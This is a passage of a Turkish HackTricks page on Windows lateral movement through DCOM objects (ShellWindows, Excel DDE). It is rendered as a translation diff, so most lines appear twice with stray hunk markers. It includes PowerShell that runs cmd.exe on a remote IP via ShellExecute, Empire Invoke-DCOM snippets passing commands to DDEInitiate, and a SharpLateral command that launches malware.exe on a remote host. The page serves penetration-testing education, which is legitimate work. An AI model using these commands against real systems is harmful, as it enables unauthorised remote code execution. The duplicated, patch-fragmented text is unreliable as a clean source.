Özel olarak, `ShellBrowserWindow` ve `ShellWindows` nesneleri, açık Launch Permissions'a sahip olmamaları nedeniyle vurgulandı. `HKCR:\AppID\{guid}` altında bir `LaunchPermission` kaydının olmaması,ık izinlerin olmadığını gösterir.
### ShellWindows
ProgID eksik olan `ShellWindows` için, .NET yöntemleri `Type.GetTypeFromCLSID` ve `Activator.CreateInstance`, AppID'sini kullanarak nesne örnekleştirmeyi kolaylaştırır. Bu işlem, OleView .NET'in kullanımını gerektirerek `ShellWindows` için CLSID'yi alır. Bir kere örneklendiğinde, etkileşim `WindowsShell.Item` yöntemi aracılığıyla mümkün olur ve `Document.Application.ShellExecute` gibi yöntem çağrılarına yol açar.
### ShellWindows
ProgID eksik olan `ShellWindows` için, .NET yöntemleri `Type.GetTypeFromCLSID` ve `Activator.CreateInstance`, AppID'sini kullanarak nesne örnekleştirmeyi kolaylaştırır. Bu işlem, `ShellWindows` için CLSID'yi almak için OleView .NET'in kullanılmasını gerektirir. Bir kez örneklendiğinde, etkileşim `WindowsShell.Item` yöntemi aracılığıyla mümkün olur ve `Document.Application.ShellExecute` gibi yöntem çağrılarına yol açar.
Örnek PowerShell komutları, nesneyi örneklendirmek ve uzaktan komutları yürütmek için sağlanmıştır:
Örnek PowerShell komutları, nesnenin örneklendirilmesi ve uzaktan komutların yürütülmesi için sağlanmıştır:
```powershell
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
@ -62,9 +71,9 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
```
### Excel DCOM Nesneleri ile Yana Hareket
Yana hareket, DCOM Excel nesnelerini istismar ederek gerçekleştirilebilir. Detaylı bilgi için, Excel DDE'nin DCOM aracılığıyla yana hareket için nasıl kullanılabileceğine dair tartışmayı okumanız önerilir [Cybereason'un blogunda](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
Yana hareket, DCOM Excel nesnelerini istismar ederek gerçekleştirilebilir. Detaylı bilgi için, Excel DDE'nin DCOM aracılığıyla yana hareket için kullanılmasına ilişkin tartışmayı [Cybereason'un blogunda](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) okumanız önerilir.
Empire projesi, Excel'in DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için Excel'in kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, Excel'in RCE için istismar edilmesi için farklı yöntemleri sergileyen [Empire'in GitHub deposunda](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) bulunan betikten alınan parçalar bulunmaktadır:
Empire projesi, Excel'in uzak kod yürütme (RCE) için DCOM nesnelerini manipüle ederek kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, Excel'in RCE için istismar edilmesi için farklı yöntemleri sergileyen [Empire'in GitHub deposunda](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1) bulunan betikten alıntılar bulunmaktadır:
```powershell
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
@ -89,17 +98,17 @@ $Obj.DDEInitiate("cmd", "/c $Command")
```
### Yana Hareket için Otomasyon Araçları
Bu teknikleri otomatikleştirmek için iki araç öne çıkar:
Bu teknikleri otomatikleştirmek için iki araç öne çıkarılmıştır:
- **Invoke-DCOM.ps1**: Uzak makinelerde kod yürütmek için farklı yöntemleri çağırmayı basitleştiren Empire projesi tarafından sağlanan bir PowerShell betiği. Bu betik, Empire GitHub deposunda erişilebilir durumda.
- **Invoke-DCOM.ps1**: Uzak makinelerde kod yürütmek için farklı yöntemleri çağırmayı basitleştiren Empire projesi tarafından sağlanan bir PowerShell betiği. Bu betik, Empire GitHub deposunda erişilebilir durumdadır.
- **SharpLateral**: Uzaktan kod yürütmek için tasarlanmış bir araç, aşağıdaki komutla kullanılabilir:
- **SharpLateral**: Uzaktan kod yürütmek için tasarlanmış bir araçtır ve aşağıdaki komutla kullanılabilir:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
```
## Otomatik Araçlar
* Powershell betiği [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1), diğer makinelerde kodu yürütmenin yorumlanmış yollarını kolayca çağırmayı sağlar.
* [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) adlı Powershell betiği, diğer makinelerde kodu yürütmek için yorumlanmış tüm yolları kolayca çağırmayı sağlar.
* Ayrıca [**SharpLateral**](https://github.com/mertdas/SharpLateral) kullanabilirsiniz:
```bash
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
@ -109,16 +118,22 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan Kahraman'a kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da takip edin.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 **Discord grubuna** katılın [**Discord group**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>